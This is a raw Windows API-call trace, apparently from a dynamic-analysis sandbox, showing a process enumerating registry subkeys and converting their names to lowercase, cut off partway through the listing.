RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.014] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xd5b930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0xd5c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.014] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xd5b930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0xd5c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.014] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xd5b930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0xd5c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.014] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xd5b930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0xd5c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0173.014] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.014] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.014] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xd5b930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0xd5c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.015] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xd5b930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0xd5c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.015] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xd5b930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0xd5c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.015] RegEnumKeyW (in: hKey=0x24, dwIndex=0x28, lpName=0xd5b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0xd5c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0173.015] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.015] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.015] RegEnumKeyW (in: hKey=0x24, dwIndex=0x29, lpName=0xd5b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0xd5c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.016] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.016] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.016] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.016] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2a, lpName=0xd5b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0xd5c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.016] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.016] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.016] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.016] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2b, lpName=0xd5b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0xd5c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.016] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.016] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.016] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.016] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0xd5b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0xd5c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0173.016] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.016] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.017] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0xd5b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0xd5c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.017] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0xd5b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0xd5c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.017] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0xd5b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0xd5c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.017] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0xd5b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0xd5c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0173.017] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.017] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.018] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0xd5b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0173.018] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.018] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0xd5c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0173.018] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.018] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.018] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.018] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0xd5b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0173.018] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.018] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0xd5c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0xd5b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0xd5b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0xd5b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0xd5b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0xd5b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0xd5b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0xd5b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0xd5b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0xd5b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0173.018] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0xd5b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0xd5b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0xd5b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0xd5b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0xd5b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0xd5b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0xd5b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0xd5b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0xd5b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0xd5b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0xd5b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0xd5b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0xd5b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0xd5b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0xd5b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0xd5b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0173.019] RegEnumKeyW (in: hKey=0x24, 